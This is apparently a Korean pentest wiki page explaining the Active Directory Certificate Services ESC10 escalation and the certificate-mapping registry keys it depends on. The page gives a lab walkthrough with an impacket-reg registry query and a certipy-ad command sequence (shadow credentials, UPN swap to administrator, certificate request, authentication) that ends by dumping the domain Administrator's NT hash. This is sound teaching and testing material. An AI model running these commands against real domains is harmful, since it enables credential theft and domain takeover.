ESC10

ESC9와 ESC10을 이해하기 위해선 다음과 같은 내용을 알아둬야 합니다.

속성
내용

szOID_NTDS_CA_SECURITY_EXT

요청자의 objectSid를 포함하며 AD에서 고유한 식별자

StrongCertificateBindingEnforcement

Kerberos 암시적 매핑에 사용되는 레지스트리 키

CertificateMappingMethods

Schannel 암시적 매핑에 사용되는 레지스트리 키

Kerberos 인증 시, 인증서 매핑 프로세스는 StrongCertificateBindingEnforcement 레지스트리 키를 참조하며, 이 키는 세가지 값으로 설정될 수 있습니다.

모드
내용

0

비활성화 모드

강력한 인증서 매핑이 수행되지 않습니다. szOID_NTDS_CA_SECURITY_EXT 확장은 확인되지 않습니다.

1

호환 모드(기본값)

KDC는 명시적 인증서 매핑이 있는지 확인하고, 없으면 인증서 보안 확장이 존재하고 유효한지 검사합니다. 보안 확장이 없으면, 사용자 계정이 인증서보다 먼저 생성된 경우 인증이 허용될 수 있습니다.

2

완전 시행 모드

KDC는 명시적 인증서 매핑이 있는지 확인하고, 없으면 인증서 보안 확장이 존재하고 유효한지 검사합니다. 보안 확장이 없으면 인증이 거부됩니다.

ESC9이 Kerberos 인증 시 잘못된 레지스트리 키 설정으로 인해 발생한 취약점이라면 ESC10은 Schannel 인증 시 잘못된 레지스트리 키 설정으로 인해 비롯되는 취약점입니다.

Kerberos 인증 시의 취약점입니다. 이 경우 StrongCertificateBindingEnforcement 레지스트리 키가 0으로 설정된 것을 이용합니다. 이 값은 Microsoft 2023년 4월 업데이트가 설치되지 않은 경우에 설정되어 있으며, 그 외의 경우에는 기본 값인 1에서 0으로 변경 시에만 공격에 적용 가능합니다.

악용 조건

  • StrongCertificateBindingEnforcement 키 값이 0으로 설정

  • 클라이언트 인증이 활성화된 템플릿 존재 (내장 템플릿 User 등)

  • 공격자가 계정 A에 대한 GenericWrite 권한 보유

일반적으로 낮은 권한의 사용자는 레지스트리의 키 값을 읽을 권한이 없기 때문에 외부에서 ESC10에 취약한지 판별하기는 어렵습니다. 다만 실습의 경우 impacket-reg를 이용하여 판별하며, 외부자 관점 공격 시에는 공격의 성공 여부에 따라 해당 사용자의 레지스트리 키 값을 유추할 수 있습니다.

┌──(root㉿kali)-[~/pentest/htb]
└─# impacket-reg 'lab/Administrator:[email protected]' query -keyName 'HKLM\SYSTEM\CurrentControlSet\Services\Kdc'
...
        StrongCertificateBindingEnforcement     REG_DWORD        0x0
...
[-] SCMR SessionError: code: 0x41b - ERROR_DEPENDENT_SERVICES_RUNNING - A stop control has been sent to a service that other running services are dependent on.
취약한 것이 확인되었으면 이후 과정은 과 유사합니다.
# User 계정의 권한으로 User 2 계정의 NT Hash를 덤핑
certipy-ad shadow auto -u <USER> -p <PASS> -account <USER 2> -dc-ip <dc-ip>

# User 계정의 권한으로 User 2 계정의 UPN을 도메인 관리자로 변경 ( 반드시 소문자 )
certipy-ad account update -u <USER> -p <PASS> -user <USER 2> -upn [email protected] -dc-ip <dc-ip>

# Administrator의 자격을 갖게된 User 2의 TGT 요청
certipy-ad req -u <USER 2> -hashes <USER 2 Hash> -ca <CA> -template <Template> -dc-ip <dc-ip>

# User2의 UPN을 복구
certipy-ad account update -u <USER> -p <PASS> -user <USER 2> -upn <USER 2> -dc-ip <dc-ip>

# User 2의 인증서를 통한 Administrator NT Hash 덤핑
certipy-ad auth -pfx <PFX> -domain <Domain> 

References

Last updated

Was this helpful?